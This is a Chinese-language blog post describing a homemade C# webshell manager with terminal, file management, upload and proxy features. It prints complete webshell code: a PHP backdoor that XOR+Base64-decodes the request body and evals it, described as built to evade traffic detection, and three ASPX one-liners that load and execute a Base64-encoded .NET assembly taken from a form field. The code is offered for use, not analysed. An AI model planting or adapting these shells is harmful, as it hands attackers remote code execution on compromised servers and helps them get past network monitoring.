C# 个人版webshell管理工具

最新推荐文章于 2024-01-14 18:43:27 发布

yr678

最新推荐文章于 2024-01-14 18:43:27 发布

阅读量244

点赞数 1

文章标签： c# 开发语言

本文链接：https://blog.csdn.net/qq_18193739/article/details/132255170

版权

文章讨论了使用Aspx和PHP实现的虚拟终端功能，包括文件管理、增删改查和HTTP代理。重点介绍了PHPxor+Base64加密以及如何参考冰蝎和AntSword项目进行流量加密和创建C#的一行payload，以兼容不同内存环境。作者旨在通过编码实践提升编程能力，开源代码可在GitHub上获取。

摘要由CSDN通过智能技术生成

主要功能

已完成 aspx，php 虚拟终端，文件管理，增删改查，文件上传
HTTP代理
更新内容：php xor+base64加密，aspx base64加密

php

参考冰蝎实现xor+base64流量加密，更好绕过流量检测

webshell

<?php
function Decrypt($data)
{
   $key="e45e329feb5d925b";
   $bs="base64_"."decode";
 $after=$bs($data."");
 for($i=0;$i<strlen($after);$i++) {
     $after[$i] = $after[$i]^$key[$i+1&15];
  }
   return $after;
}
eval(Decrypt(file_get_contents("php://input")));
?>

aspx

参考AntSword-Csharp-Template 中国蚁剑Csharp一句话Payload

https://github.com/AntSwordProject/AntSword-Csharp-Template

shell.aspx

为了兼容各种情况下的内存马，Equals中的入口参数可以为System.Web.HttpContext对象，或者包含Request与Response对象的数组。

<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
      System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
      assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);
  }
%>

<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
      System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
      assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { Request, Response });
  }
%>

<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
      System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
      assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
  }
%>